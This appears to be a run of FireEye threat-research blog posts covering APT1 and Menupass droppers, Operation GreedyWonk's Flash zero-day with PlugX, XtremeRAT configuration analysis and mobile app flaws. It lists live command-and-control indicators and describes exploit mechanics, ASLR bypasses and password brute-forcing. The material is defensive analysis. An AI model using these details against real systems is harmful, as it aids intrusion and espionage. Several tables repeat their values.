      Both 61249bf64fa270931570b8a5eba06afa and 0f3031412d255336a102bbc1dcd43812 droppers also had a portable executable (PE) resource with the SHA256 of fb080cef60846528c409f60400f334100a16a5bd77b953c864b23a945fcf26fd. This PE resource contained the PDF icon used by the dropper to make the executable appear as though it was a PDF document rather than an executable. Previous APT1 samples also used this sample PE resource including (but not limited to):

      MD5 Compile Time CnC
      1aab2040ed4f918e1823e2caf645a81d 1aab2040ed4f918e1823e2caf645a81d 2009-09-28 22:08:38 2009-09-28 22:08:38 www[.]olmusic100[.]com www[.]olmusic100[.]com
      8ee2cf05746bb0a009981fdb90f1343e 8ee2cf05746bb0a009981fdb90f1343e 2010-03-15 11:46:31 2010-03-15 11:46:31 gogotrade[.]apple.org[.]ru
      tradeproject[.]rlogin[.]org
      gogotrade[.]apple.org[.]ru
      tradeproject[.]rlogin[.]org
      9c4617793984c4b08d75b00f1562cbda 9c4617793984c4b08d75b00f1562cbda 2010-08-31 03:27:55 2010-08-31 03:27:55 freetrade[.]allowed[.]org
      worldwide[.]chickenkiller[.]com
      freetrade[.]allowed[.]org
      worldwide[.]chickenkiller[.]com
      b584b48d401e98f404584c330489895c b584b48d401e98f404584c330489895c 2010-08-31 07:52:17 2010-08-31 07:52:17 worldwide[.]chickenkiller[.]com
      freetrade[.]allowed[.]org
      worldwide[.]chickenkiller[.]com
      freetrade[.]allowed[.]org
      b92a53fc409d175c768581978f1d3331 b92a53fc409d175c768581978f1d3331 2010-09-16 09:57:09 2010-09-16 09:57:09 www[.]rbaparts[.]com www[.]rbaparts[.]com
      d6c19be4e9e1ae347ee269d15cb96a51 d6c19be4e9e1ae347ee269d15cb96a51 2010-10-25 01:59:00 2010-10-25 01:59:00 www[.]kayauto[.]net www[.]kayauto[.]net
      d0a7cd5cd7da9024fb8bd594d37d7594 d0a7cd5cd7da9024fb8bd594d37d7594 2011-04-20 07:39:01 2011-04-20 07:39:01 www[.]kayauto[.]net www[.]kayauto[.]net
      b19ef1134f54b4021f99cc45ae1bc270 b19ef1134f54b4021f99cc45ae1bc270 2011-06-13 06:56:04 2011-06-13 06:56:04 www[.]kayauto[.]net www[.]kayauto[.]net
      b0a95c47d170baad8a5594e0f755e0c1 b0a95c47d170baad8a5594e0f755e0c1 2012-03-26 06:50:10 2012-03-26 06:50:10 www[.]coachmotor[.]com www[.]coachmotor[.]com
      894ef915af830f38499d498342fdd8db 894ef915af830f38499d498342fdd8db 2012-03-26 07:13:36 2012-03-26 07:13:36 www[.]rightnowautoparts[.]com www[.]rightnowautoparts[.]com
      c2aadd6a69a775602d984af64eaeda96 c2aadd6a69a775602d984af64eaeda96 2012-05-15 09:02:25 2012-05-15 09:02:25 www[.]bluecoate[.]com www[.]bluecoate[.]com

      Links to other Activity

      This same PE resource was also used in a number of other samples deployed by the “Menupass” group, which we have detailed in our Poison Ivy report. Previous Menupass samples with this same PE resource include (but are not limited to):

      MD5 Compile Time CnC
      392f15c431c00f049bb1282847d8967f 392f15c431c00f049bb1282847d8967f 2012-05-16 06:48:02 2012-05-16 06:48:02 army.xxuz.com army.xxuz.com
      21567cce2c26e7543b977a205845ba77 21567cce2c26e7543b977a205845ba77 2012 06 26 05:17:52 2012 06 26 05:17:52 nasa.xxuz.com nasa.xxuz.com
      d4b7f99669a3efc94006e5fe9d84eb65 d4b7f99669a3efc94006e5fe9d84eb65 2012-07-03 09:33:46 2012-07-03 09:33:46 tw.2012yearleft.com tw.2012yearleft.com
      df5bd411f080b55c578aeb9001a4287d df5bd411f080b55c578aeb9001a4287d 2012-07-04 04:07:36 2012-07-04 04:07:36 apple.cmdnetview.com apple.cmdnetview.com
      001b8f696b6576798517168cd0a0fb44 001b8f696b6576798517168cd0a0fb44 2012 11 13 07:19:03 2012 11 13 07:19:03 google.macforlinux.net google.macforlinux.net
      6a3b8d24c125f3a3c7cff526e63297f3 6a3b8d24c125f3a3c7cff526e63297f3 2013-02-25 05:31:41 2013-02-25 05:31:41 cvnx.zyns.com cvnx.zyns.com
      a02610e760fa15c064931cfafb90a9e8 a02610e760fa15c064931cfafb90a9e8 2013-08-01 18:23:04 2013-08-01 18:23:04 cvnx.zyns.com cvnx.zyns.com
      78a4fee0e7b471f733f00c6e7bca3d90 78a4fee0e7b471f733f00c6e7bca3d90 2013-08-01 18:23:05 2013-08-01 18:23:05 fbi.sexxxy.biz fbi.sexxxy.biz
      6f3d15cf788e28ca504a6370c4ff6a1e 6f3d15cf788e28ca504a6370c4ff6a1e 2013-09-10 06:40:28 2013-09-10 06:40:28 scrlk.exprenum.com scrlk.exprenum.com

      Shared Tools

      This shared PE resource between what is believed to be two distinct groups (likely APT1, and Menupass) can be explained by either of the following:

      • APT1 and Menupass are actually one and the same
      • APT1 and Menupass share “binder” tools

      It is unlikely that APT1 and Menupass represent the same group. We have observed no other overlaps in infrastructure or tools between these two groups. A more likely possibility is that the shared resource between APT1 and the Menupass group is a binder tool.

      A binder tool enables a malicious actor to add an innocuous-looking icon, such as a PDF document icon, to a malicious dropper. This technique facilitates social engineering, presenting the end user with a file that looks like a PDF document rather than an executable. Figure 1 shows a builder that enables actors to bind a JPG image icon to a malicious executable.

      apt_icon_bind

      Figure 1: Binder tool for disguising executable files as JPGs

      Attribution

      Based on the evidence provided, the following are possibilities:

      • The Siesta campaign was executed by APT1
      • An unknown group using tools and tactics shared by APT1 executed the Siesta campaign

      Although we are not certain that APT1 is responsible for the Siesta activity, this current campaign shares a number of distinct characteristics with previous activity attributed to APT1.

      So What?

      Regardless of which group is responsible for this campaign, our analysis highlights the importance of monitoring for known indicators. As shown above, monitoring for previously disclosed indicators of compromise (IOCs), even IOCs that are years old, can yield value.

      Additionally, monitoring for IOCs and attributes of malware that are shared by multiple groups may also improve the effectiveness of your network defense operations. In this example, implementing detection for executables with a PE resource with a SHA256 hash of fb080cef60846528c409f60400f334100a16a5bd77b953c864b23a945fcf26fd would detect both Menupass and APT1 samples.

      The 2013 FireEye Advanced Threat Report!

      FireEye has just released its 2013 Advanced Threat Report (ATR), which provides a high-level overview of the computer network attacks that FireEye discovered last year.

      In this ATR, we focused almost exclusively on a small, but very important subset of our overall data analysis – the advanced persistent threat (APT).

      APTs, due to their organizational structure, mission focus, and likely some level of nation-state support, often pose a more serious danger to enterprises than a lone hacker or hacker group ever could.

      Over the long term, APTs are capable of cyber attacks that can rise to a strategic level, including widespread intellectual property theft, espionage, and attacks on national critical infrastructures.

      The data contained in this report is gleaned from the FireEye Dynamic Threat Intelligence (DTI) cloud, and is based on attack metrics shared by FireEye customers around the world.

      Its insight is derived from:

      • 39,504 cyber security incidents
      • 17,995 malware infections
      • 4,192 APT incidents
      • 22 million command and control (CnC) communications
      • 159 APT-associated malware families
      • CnC infrastructure in 206 countries and territories

      FireEye 2013 Threat Report Final

      Based on our data, the U.S., South Korea, and Canada were the top APT targets in 2013; the U.S., Canada, and Germany were targeted by the highest number of unique malware families.

      The ATR describes attacks on 20+ industry verticals. Education, Finance, and High-Tech were the top overall targets, while Government, Services/Consulting, and High-Tech were targeted by the highest number of unique malware families.

      In 2013, FireEye discovered eleven zero-day attacks. In the first half of the year, Java was the most common target for zero-days; in the second half, FireEye observed a surge in Internet Explorer (IE) zero-days that were used in watering hole attacks, including against U.S. government websites.

      Last year, FireEye analyzed five times more Web-based security alerts than email-based alerts – possibly stemming from an increased awareness of spear phishing as well as a more widespread use of social media.

      In sum, the 2013 ATR offers strong evidence that malware infections occur within enterprises at an alarming rate, that attacker infrastructure is global in scope, and that advanced attackers continue to penetrate legacy defenses, such as firewalls and anti-virus (AV), with ease.

      Amazon’s Mobile Shopping Clients and CAPTCHA

      Amazon is a popular online retailer serving millions of users. Unfortunately, FireEye mobile security researchers have found security issues within Amazon’s mobile apps on both Android and iOS platforms through which attackers can crack the passwords of target Amazon accounts. Amazon confirmed our findings and hot fixed the issue.

      Recently, we found two security issues within Amazon’s mobile apps on both Android and iOS platforms:

      • No limitation or CAPTCHA for password attempts
      • Weak password policy

      Attackers can exploit these two security issues remotely against target Amazon accounts.

      fig1 Figure 1. Verification Code for Wrong Password Attempts

      A CAPTCHA ("Completely Automated Public Turing test to tell Computers and Humans Apart") is a challenge-response test designed to determine whether the user is a human. CAPTCHAs are well adopted for preventing programmed bots from accessing online services for bad purposes, such as conducting denial-of-service attacks, harvesting information and cracking passwords.

      The web version of Amazon requires the user to complete a CAPTCHA after ten incorrect password attempts (Figure 1), to prevent password cracking. However, Amazon’s mobile apps haven’t adopted such protection using CAPTCHA (Figure 2 and Figure 3). This design flaw provides attackers the chance to crack any Amazon account’s password using brute force.

       fig2 Figure 2. Amazon Android App

      fig3 Figure 3. Amazon iOS App

      Furthermore, Amazon doesn’t have a strong password strength requirement. It accepts commonly used weak passwords such as "123456" and "111111". We know that the weaker the password, the easier for hackers to break into an account. Therefore, allowing weak passwords puts account safety to potential security risks. Given that there are many well-known previous password leakages, attackers can use these password leakages as knowledge bases to conduct password cracking.

      As a proof of concept, we figured out the password of one Amazon account we setup within 1000 attempts, using the latest version (2.8.0) of Amazon’s Android shopping client.

      After receiving our vulnerability report, Amazon hot fixed the first issue by patching their server. Now if the user tries multiple incorrect passwords, the server will block the user from login (Figure 4). In the future, we suggest adding CAPTCHA support for Amazon mobile (Android and iOS) apps, and enforcing requirements for stronger passwords.

      fig4 Figure 4. Wrong Password Block

      Background Monitoring on Non-Jailbroken iOS 7 Devices — and a Mitigation

      Background monitoring mobile applications has become a hot topic on mobile devices. Existing reports show that such monitoring can be conducted on jailbroken iOS devices. FireEye mobile security researchers have discovered such vulnerability, and found approaches to bypass Apple's app review process effectively and exploit non-jailbroken iOS 7 successfully. We have been collaborating with Apple on this issue.

      fig1

      Fig.1 Background Monitoring

      We have created a proof-of-concept "monitoring" app on non-jailbroken iOS 7.0.x devices. This “monitoring” app can record all the user touch/press events in the background, including, touches on the screen, home button press, volume button press, and TouchID press, and then this app can send all user events to any remote server, as shown in Fig.1. Potential attackers can use such information to reconstruct every character the victim inputs.

      Note that the demo exploits the latest 7.0.4 version of iOS system on a non-jailbroken iPhone 5s device successfully. We have verified that the same vulnerability also exists in iOS versions 7.0.5, 7.0.6, and 6.1.x. Based on the findings, potential attackers can either use phishing to mislead the victim to install a malicious/vulnerable app or exploit another remote vulnerability of some app, and then conduct background monitoring.

      fig2

      Fig.2 Background App Refresh Settings

      fig3

      Fig.3 Killing An App on iOS7

      iOS7 provides settings for "background app refresh". Disabling unnecessary app's background refreshing contributes to preventing the potential background monitoring. However, it can be bypassed. For example, an app can play music in the background without turning on its "background app refresh" switch. Thus a malicious app can disguise itself as a music app to conduct background monitoring.

      Before Apple fixes this issue, the only way for iOS users to avoid this security risk is to use the iOS task manager to stop the apps from running in the background to prevent potential background monitoring. iOS7 users can press the Home button twice to enter the task manager and see preview screens of apps opened, and then swipe an app up and out of preview to disable unnecessary or suspicious applications running on the background, as shown in Fig.3.

      We conducted this research independently before we were aware of this recent report. We hope this blog could help users understand and mitigate this threat further.

      Acknowledgement: Special thanks to Jari Salomaa for his valuable comments and feedback. We also thank Raymond Wei, Dawn Song, and Zheng Bu for their valuable help on writing this blog.

      Write Once, Exploit Everywhere: FireEye Report Analyzes Four Widely Exploited Java Vulnerabilities

      Over the last couple of decades, Java has become the lingua franca of software development, a near-universal platform that works across different operating systems and devices. With its “write once, run anywhere” mantra, Java has drawn a horde of developers looking to serve a large user base as efficiently as possible.

      Cyber attackers like Java for many of the same reasons. With a wide pool of potential targets, the platform has become the vehicle of choice for quickly dispersing lucrative crimeware packages.

      In our continuing mission to equip security professionals against today’s advanced cyber threats, FireEye has published a free report, “Brewing Up Trouble: Analyzing Four Widely Exploited Java Vulnerabilities.” The report outlines four commonly exploited Java vulnerabilities and maps out the step-by-step infection flow of exploits kits that leverage them.

      Download the paper to learn more about these vulnerabilities:

      • CVE-2013-2471, which allows attackers to override Java’s getNumDataElements() method, leading to memory corruption.
      • CVE-2013-2465,  which involves insufficient bounds checks in the storeImageArray() function. This vulnerability is used by White Lotus and other exploit kits.
      • CVE-2012-4681,  which allows attackers to bypass security checks using the findMethod () function.
      • CVE-2013-2423, which  arises due to insufficient validation in the findStaticSetter () method, leading to Java type confusion. This vulnerability employed by RedKit and other exploits kits.

      As explained in the paper, Java’s popularity among the developers and widespread use in Web browsers all but  guarantees continuing interest from threat actors.

      Motivated by the profits, cyber attackers are bound to adopt more intelligent exploit kits. And these attacks will continue to mushroom as more threat actors scramble for a piece of the crimeware pie.

      Operation GreedyWonk: Multiple Economic and Foreign Policy Sites Compromised, Serving Up Flash Zero-Day Exploit

      Less than a week after uncovering Operation SnowMan, the FireEye Dynamic Threat Intelligence cloud has identified another targeted attack campaign — this one exploiting a zero-day vulnerability in Flash. We are collaborating with Adobe security on this issue. Adobe has assigned the CVE identifier CVE-2014-0502 to this vulnerability and released a security bulletin.

      As of this blog post, visitors to at least three nonprofit institutions — two of which focus on matters of national security and public policy — were redirected to an exploit server hosting the zero-day exploit. We’re dubbing this attack “Operation GreedyWonk.”

      We believe GreedyWonk may be related to a May 2012 campaign outlined by ShadowServer, based on consistencies in tradecraft (particularly with the websites chosen for this strategic Web compromise), attack infrastructure, and malware configuration properties.

      The group behind this campaign appears to have sufficient resources (such as access to zero-day exploits) and a determination to infect visitors to foreign and public policy websites. The threat actors likely sought to infect users to these sites for follow-on data theft, including information related to defense and public policy matters.

      Discovery

      On Feb. 13, FireEye identified a zero-day Adobe Flash exploit that affects the latest version of the Flash Player (12.0.0.4 and 11.7.700.261). Visitors to the Peter G. Peterson Institute for International Economics (www.piie[.]com) were redirected to an exploit server hosting this Flash zero-day through a hidden iframe.

      We subsequently found that the American Research Center in Egypt (www.arce[.]org) and the Smith Richardson Foundation (www.srf[.]org) also redirected visitors the exploit server. All three organizations are nonprofit institutions; the Peterson Institute and Smith Richardson Foundation engage in national security and public policy issues.

      Mitigation

      To bypass Windows’ Address Space Layout Randomization (ASLR) protections, this exploit targets computers with any of the following configurations:

      • Windows XP
      • Windows 7 and Java 1.6
      • Windows 7 and an out-of-date version of Microsoft Office 2007 or 2010

      Users can mitigate the threat by upgrading from Windows XP and updating Java and Office. If you have Java 1.6, update Java to the latest 1.7 version. If you are using an out-of-date Microsoft Office 2007 or 2010, update Microsoft Office to the latest version.

      These mitigations do not patch the underlying vulnerability. But by breaking the exploit’s ASLR-bypass measures, they do prevent the current in-the-wild exploit from functioning.

      Vulnerability analysis

      GreedyWonk targets a previously unknown vulnerability in Adobe Flash. The vulnerability permits an attacker to overwrite the vftable pointer of a Flash object to redirect code execution.

      ASLR bypass

      The attack uses only known ASLR bypasses. Details of these techniques are available from our previous blog post on the subject (in the “Non-ASLR modules” section).

      For Windows XP, the attackers build a return-oriented programming (ROP) chain of MSVCRT (Visual C runtime) gadgets with hard-coded base addresses for English (“en”) and Chinese (“zh-cn” and “zh-tw”).

      On Windows 7, the attackers use a hard-coded ROP chain for MSVCR71.dll (Visual C++ runtime) if the user has Java 1.6, and a hard-coded ROP chain for HXDS.dll (Help Data Services Module) if the user has Microsoft Office 2007 or 2010.

      Java 1.6 is no longer supported and does not receive security updates. In addition to the MSVCR71.dll ASLR bypass, a variety of widely exploited code-execution vulnerabilities exist in Java 1.6. That’s why FireEye strongly recommends upgrading to Java 1.7.

      The Microsoft Office HXDS.dll ASLR bypass was patched at the end of 2013. More details about this bypass are addressed by Microsoft’s Security Bulletin MS13-106 and an accompanying blog entry. FireEye strongly recommends updating Microsoft Office 2007 and 2010 with the latest patches.

      Shellcode analysis

      The shellcode is downloaded in ActionScript as a GIF image. Once ROP marks the shellcode as executable using Windows’ VirtualProtect function, it downloads an executable via the InternetOpenURLA and InternetReadFile functions. Then it writes the file to disk with CreateFileA and WriteFile functions. Finally, it runs the file using the WinExec function.

      PlugX/Kaba payload analysis

      Once the exploit succeeds, a PlugX/Kaba remote access tool (RAT) payload with the MD5 hash 507aed81e3106da8c50efb3a045c5e2b is installed on the compromised endpoint. This PlugX sample was compiled on Feb. 12, one day before we first observed it, indicating that it was deployed specifically for this campaign.

      This PlugX payload was configured with the following command-and-control (CnC) domains:

      • java.ns1[.]name
      • adservice.no-ip[.]org
      • wmi.ns01[.]us

      Sample callback traffic was as follows:

      POST /D28419029043311C6F8BF9F5 HTTP/1.1

      Accept: */*

      HHV1: 0

      HHV2: 0

      HHV3: 61456

      HHV4: 1

      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; SV1)

      Host: java.ns1.name

      Content-Length: 0

      Connection: Keep-Alive

      Cache-Control: no-cache

      Campaign analysis

      Both java.ns1[.]name and adservice.no-ip[.]org resolved to 74.126.177.68 on Feb. 18, 2014. Passive DNS analysis reveals that the domain wmi.ns01.us previously resolved to 103.246.246.103 between July 4, 2013 and July 15, 2013 and 192.74.246.219 on Feb. 17, 2014.  java.ns1[.]name also resolved to 192.74.246.219 on February 18.

      Domain First Seen Last Seen IP Address
      adservice.no-ip[.]org adservice.no-ip[.]org 2014-02-18 2014-02-18 2014-02-19 2014-02-19 74.126.177.68 74.126.177.68
      java.ns1[.]name java.ns1[.]name 2014-02-18 2014-02-18 2014-02-19 2014-02-19 74.126.177.68 74.126.177.68
      java.ns1[.]name java.ns1[.]name 2014-02-18 2014-02-18 2014-02-18 2014-02-18 192.74.246.219 192.74.246.219
      wmi.ns01[.]us wmi.ns01[.]us 2014-02-17 2014-02-17 2014-02-17 2014-02-17 192.74.246.219 192.74.246.219
      proxy.ddns[.]info proxy.ddns[.]info 2013-05-02 2013-05-02 2014-02-18 2014-02-18 103.246.246.103 103.246.246.103
      updatedns.ns02[.]us updatedns.ns02[.]us 2013-09-06 2013-09-06 2013-09-06 2013-09-06 103.246.246.103 103.246.246.103
      updatedns.ns01[.]us updatedns.ns01[.]us 2013-09-06 2013-09-06 2013-09-06 2013-09-06 103.246.246.103 103.246.246.103
      wmi.ns01[.]us wmi.ns01[.]us 2013-07-04 2013-07-04 2013-07-15 2013-07-15 103.246.246.103 103.246.246.103

       

      MD5 Family Compile Time Alternate C2s
      7995a9a6a889b914e208eb924e459ebc 7995a9a6a889b914e208eb924e459ebc PlugX PlugX 2012-06-09 2012-06-09 fuckchina.govnb[.]com fuckchina.govnb[.]com
      bf60b8d26bc0c94dda2e3471de6ec977 bf60b8d26bc0c94dda2e3471de6ec977 PlugX PlugX 2010-03-15 2010-03-15 microsafes.no-ip[.]org microsafes.no-ip[.]org
      fd69793bd63c44bbb22f9c4d46873252 fd69793bd63c44bbb22f9c4d46873252 Poison Ivy Poison Ivy 2013-03-07 2013-03-07 N/A N/A
      88b375e3b5c50a3e6c881bc96c926928 88b375e3b5c50a3e6c881bc96c926928 Poison Ivy Poison Ivy 2012-06-11 2012-06-11 N/A N/A
      cd07a9e49b1f909e1bd9e39a7a6e56b4 cd07a9e49b1f909e1bd9e39a7a6e56b4 Poison Ivy Poison Ivy 2012-06-11 2012-06-11 N/A N/A

      The Poison Ivy variants that connected to the domain wmi.ns01[.]us had the following unique configuration properties:

      Domain First Seen Last Seen IP Address
      fuckchina.govnb[.]com fuckchina.govnb[.]com 2013-12-11 2013-12-11 2013-12-11 2013-12-11 204.200.222.136 204.200.222.136
      microsafes.no-ip[.]org microsafes.no-ip[.]org 2014-02-12 2014-02-12 2014-02-12 2014-02-12 74.126.177.70 74.126.177.70
      microsafes.no-ip[.]org microsafes.no-ip[.]org 2013-12-04 2013-12-04 2013-12-04 2013-12-04 74.126.177.241 74.126.177.241

      We found a related Poison Ivy sample (MD5 8936c87a08ffa56d19fdb87588e35952) with the same “java7” password, which was dropped by an Adobe Flash exploit (CVE-2012-0779). In this previous incident, visitors to the Center for Defense Information website (www.cdi[.]org — also an organization involved in defense matters — were redirected to an exploit server at 159.54.62.92.

      This exploit server hosted a Flash exploit file named BrightBalls.swf (MD5 1ec5141051776ec9092db92050192758). This exploit, in turn, dropped the Poison Ivy variant. In addition to using the same password “java7,” this variant was configured with the mutex with the similar pattern of “YFds*&^ff” and connected to a CnC server at windows.ddns[.]us.

      Using passive DNS analysis, we see the domains windows.ddns[.]us and wmi.ns01[.]us both resolved to 76.73.80.188 in mid-2012.

      Domain First Seen Last Seen IP Address
      wmi.ns01.us wmi.ns01.us 2012-07-07 2012-07-07 2012-09-19 2012-09-19 76.73.80.188 76.73.80.188
      windows.ddns.us windows.ddns.us 2012-05-23 2012-05-23 2012-06-10 2012-06-10 76.73.80.188 76.73.80.188

      During another earlier compromise of the same www.cdi.org website, visitors were redirected to a Java exploit test.jar (MD5 7d810e3564c4eb95bcb3d11ce191208e). This jar file exploited CVE-2012-0507 and dropped a Poison Ivy payload with the hash (MD5 52aa791a524b61b129344f10b4712f52). This Poison Ivy variant connected to a CnC server at ids.ns01[.]us. The domain ids.ns01[.]us also overlaps with the domain wmi.ns01[.]us on the IP 194.183.224.75.

      Domain First Seen Last Seen IP Address
      wmi.ns01[.]us wmi.ns01[.]us 2012-07-03 2012-07-03 2012-07-04 2012-07-04 194.183.224.75 194.183.224.75
      ids.ns01[.]us ids.ns01[.]us 2012-04-23 2012-04-23 2012-05-18 2012-05-18 194.183.224.75 194.183.224.75

      The Poison Ivy sample referenced above (MD5 fd69793bd63c44bbb22f9c4d46873252) was delivered via an exploit chain that began with a redirect from the Center for European Policy Studies (www.ceps[.]be). In this case, visitors were redirected from www.ceps[.]be to a Java exploit hosted on shop.fujifilm[.]be.

      In what is certainly not a coincidence, we also observed www.arce[.]org (one of the sites redirecting to the current Flash exploit) also redirect visitors to the Java exploit on shop.fujifilm[.]be in 2013.

      greedywonk-campaign-v2

      Conclusion

      This threat actor clearly seeks out and compromises websites of organizations related to international security policy, defense topics, and other non-profit sociocultural issues. The actor either maintains persistence on these sites for extended periods of time or is able to re-compromise them periodically.

      This actor also has early access to a number of zero-day exploits, including Flash and Java, and deploys a variety of malware families on compromised systems. Based on these and other observations, we conclude that this actor has the tradecraft abilities and resources to remain a credible threat in at least the mid-term.

      XtremeRAT: Nuisance or Threat?

      Rather than building custom malware, many threat actors behind targeted attacks use publicly or commercially available remote access Trojans (RATs). This pre-built malware has all the functionality needed to conduct cyber espionage and is controlled directly by humans, who have the ability to adapt to network defenses. As a result, the threat posed by these RATs should not be underestimated.

      However, it is difficult to distinguish and correlate the activity of targeted threat actors based solely on their preference to use particular malware — especially, freely available malware. From an analyst’s perspective, it is unclear whether these actors choose to use this type of malware simply out of convenience or in a deliberate effort to blend in with traditional cybercrime groups, who also use these same tools.

      There are numerous RATs available for free and for purchase in online forums, chat rooms and market places on the Internet. Most RATs are easy to use and thus attract novices. They are used for a variety of criminal activity, including “sextortion”. [1] The ubiquity of these RATs makes it difficult to determine if a particular security incident is related to a targeted threat, cybercrime or just a novice “script kiddie” causing a nuisance.

      Although publicly available RATs are used by a variety of operators with different intents, the activity of particular threat actors can still be tracked by clustering command and control server information as well as the information that is set by the operators in the builder. These technical indicators, combined with context of an incident (such as the timing, specificity and human activity) allow analysts to assess the targeted or non-targeted nature of the threat.

      In this post, we examine a publicly available RAT known as XtremeRAT. This malware has been used in targeted attacks as well as traditional cybercrime. During our investigation we found that the majority of XtremeRAT activity is associated with spam campaigns that typically distribute Zeus variants and other banking-focused malware. Why have these traditional cybercrime operators begun to distribute RATs? This seems odd, considering RATs require manual labor as opposed to automated banking Trojans.

      Based on our observations we propose one or more of the following possible explanations:

      1. Smokescreen
        The operations may be part of a targeted attack that seeks to disguise itself and its possible targets, by using spam services to launch the attacks.
      2. Less traditional tools available
        With more crimeware author arrests and/or disappearance of a number of banking Trojan developers, cybercriminals are resorting to using RATs to manually steal data, such as banking and credit card details. [2]
      3. Complicated defenses require more versatile tools
        As many traditional banking and financial institutions have improved their security practices, perhaps attackers have had a much more difficult time developing automation in their Trojans to cover all variations of these defenses; as such, RATs provide more versatility and effectiveness, at the expense of scalability.
      4. Casting a wider net
        After compromising indiscriminate targets, attackers may dig deeper into specific targets of interest and/or sell off the access rights of the victims’ systems and their data to others.

      These possible explanations are not mutually exclusive. One or all of them may be factors in explaining this observed activity.

      XtremeRAT

      The XtremeRAT was developed by “xtremecoder” and has been available since at least 2010.  Written in Delphi, the code of XtremeRAT is shared amongst several other Delphi RAT projects including SpyNet, CyberGate, and Cerberus. The RAT is available for free; however, the developer charges 350 Euros for the source code.  Unfortunately for xtremecoder, the source code has been leaked online.  The current version is Xtreme 3.6, however, there are a variety of “private” version of this RAT available as well. As such, the official version of this RAT and its many variants are used by a wide variety of actors.

      XtremeRAT allows an attacker to:

      • Interact with the victim via a remote shell
      • Upload/download files
      • Interact with the registry
      • Manipulate running processes and services
      • Capture images of the desktop
      • Record from connected devices, such as a webcam or microphone

      Moreover, during the build process, the attacker can specify whether to include keylogging and USB infection functions.

      Extracting Intelligence

      XtremeRAT contains two components: a “client” and a “server”; however, from the attacker’s perspective, these terms have reversed meanings. Specifically, according to the author, the “server” component is the malware that resides on victim endpoints that connect to the “client”, which is operated by the attacker from one or more remote command-and-control (CnC) systems. Due to this confusing and overloaded terminology, we refer to the “server” as a “backdoor” on the victim and the “client” as a remote “controller” operated by the attacker.

      XtremeRAT backdoors maintain and reference configuration data that was chosen by the attacker at the time they were built. This data can contain very useful hints to help group attacks and attribute them to actors, similar to what we have previously described in our Poison Ivy whitepaper. [3]

      Several versions of XtremeRAT write this configuration data to disk under %APPDATA%\Microsoft\Windows, either directly, or to a directory named after mutex configured by the attacker. When written to disk, the data is RC4 encrypted with a key of either "CYBERGATEPASS" or "CONFIG" for the versions we have analyzed. In both cases, the key is Unicode. The config file has either a “.nfo” or ".cfg" extension depending on the version. XtremeRAT's key scheduling algorithm (KSA) implementation contains a bug wherein it only considers the length of the key string, not including the null bytes between each character, as is found in these Unicode strings. As a result, it only effectively uses the first half of the key. For example, the key “C\x00O\x00N\x00F\x00I\x00G\x00” is 12 bytes long, but the length is calculated as only being 6 bytes long. Because of this, the key that is ultimately used is “C\x00O\x00N\x00”.

      The configuration data includes:

      • Name of the installed backdoor file
      • Directory under which the backdoor file is installed
      • Which process it will inject into (if specified)
      • CnC information
      • FTP information for sending stolen keystroke data to
      • Mutex name of the master process,
      • ID and group name which are used by the actors for organizational purposes

      Because the decrypted configuration data can be reliably located in memory (with only slight variations in its structure from version to version) and because not all versions of XtremeRAT will write their configuration data to disk, parsing memory dumps of infected systems is often the ideal method for extracting intelligence.

      We are releasing python scripts we have developed to gather the configuration details for various versions of XtremeRAT from both process memory dumps and the encrypted configuration file on disk. The scripts are available at https://github.com/fireeye/tools/tree/master/malware/Xtreme%20RAT.

      Also included in this toolset is a script that decrypts and prints the contents of the log file created by XtremeRAT containing victim keystroke data. This log file is written to the same directory as the config file and has a “.dat” extension. Curiously, this log file is encrypted with a simple two-byte XOR instead of RC4. Later in this blog, we will share some of the configuration details we have extracted during our subsequent analysis.

      XtremeRAT Activity

      Using telemetry from the FireEye Dynamic Threat Intelligence (DTI) cloud, we examined 165 XtremeRAT samples from attacks that primarily hit the following sectors:

      • Energy, utilities, and petroleum refining
      • Financial Services
      • High-tech

      These incidents include a spectrum of attacks including targeted attacks as well as indiscriminate attacks. Among these XtremeRAT-based attacks, we found that 4 of the 165 samples were used in targeted attacks against the High-Tech sector by threat actors we have called “MoleRats”. [4]

      Operation Molerats

      In 2012, XtremeRAT was used against a variety of governments as well as Israeli and Palestinian targets in what was known as Operation Molerats (the same attackers have also used variants of the Poison Ivy RAT). [5] Upon executing one particular sample (45142b17abd8a17a5e38305b718f3415), the malware beacons to “test.cable-modem.org” and “idf.blogsite.org”. In this particular case, the attacker used XtremeRAT 2.9 within a self-extracting archive that also presents a decoy document to the victim, where the decoy content appears to have been copied from a website.

      [caption id="attachment_4467" align="alignnone" width="849"] Figure 1. Contents of SFX archive containing XtremeRAT
      Figure 1. Contents of SFX archive containing XtremeRAT[/caption]

      [caption id="attachment_4470" align="alignnone" width="623"]Figure 2. SFX settings inside malicious archive Figure 2. SFX settings inside malicious archive[/caption]

      [caption id="attachment_4472" align="alignnone" width="675"]Figure 3. Decoy content presented in malicious archive Figure 3. Decoy content presented in malicious archive[/caption]

      Figure 4 shows the controller the attacker uses to interact with systems compromised with XtremeRAT. In this case, it appears the actor used the ID field to record the type of attack delivered (docx) and the Group field was used to record a “campaign code” (IDF), which helps the actor keep track of the set of victims that were attacked during this campaign.

      [caption id="attachment_4474" align="alignnone" width="900"]Figure 4. XtremeRAT controller GUI Figure 4. XtremeRAT controller GUI[/caption]

      The attacker modified the highlighted information at build time. By default, the XtremeRAT controller sets the ID field as “Server” and Group field as “Servers”, with the default password used to authenticate, connect, and control a compromised endpoint as “1234567890”.

      [caption id="attachment_4475" align="alignnone" width="900"]Figure 5. XtremeRAT controller connection settings Figure 5. XtremeRAT controller connection settings[/caption]

      In the Figure 5, the attacker specified custom CnC servers and ports and changed the default password to “1411”. The attacker also changed the default process mutex name.

      [caption id="attachment_4476" align="alignnone" width="900"]Figure 6. XtremeRat install settings Figure 6. XtremeRat install settings[/caption]

      By default, the controller assigns a process mutex name of is “--((Mutex))--” and the attackers changed it to “fdgdfdg”. These indicators along with command and control domain names and the IP addresses that they resolve to can be used to cluster and track this activity over time.

      [caption id="attachment_4477" align="alignnone" width="900"]Figure 7. Molerats cluster analysis Figure 7. Molerats cluster analysis[/caption]

      This is a cluster of Molerats activity. In addition to using the password “1411”, the attackers are also using the password “12345000”. This is a simple way to track the activity of these actors by using both passive DNS data and configuration information extracted from XtremeRAT.

      Spam Activity

      The vast majority of XtremeRAT activity clustered around the default password “1234567890” (116 samples). There was overlap between this large cluster and the second largest one which used the password “123456” (12 samples). The activity in these two clusters aligns with indicators observed in Spanish language spam runs. The “123456” cluster also contains spam in the English language, leveraging the recent tragedy in Kenya as a lure. [7]

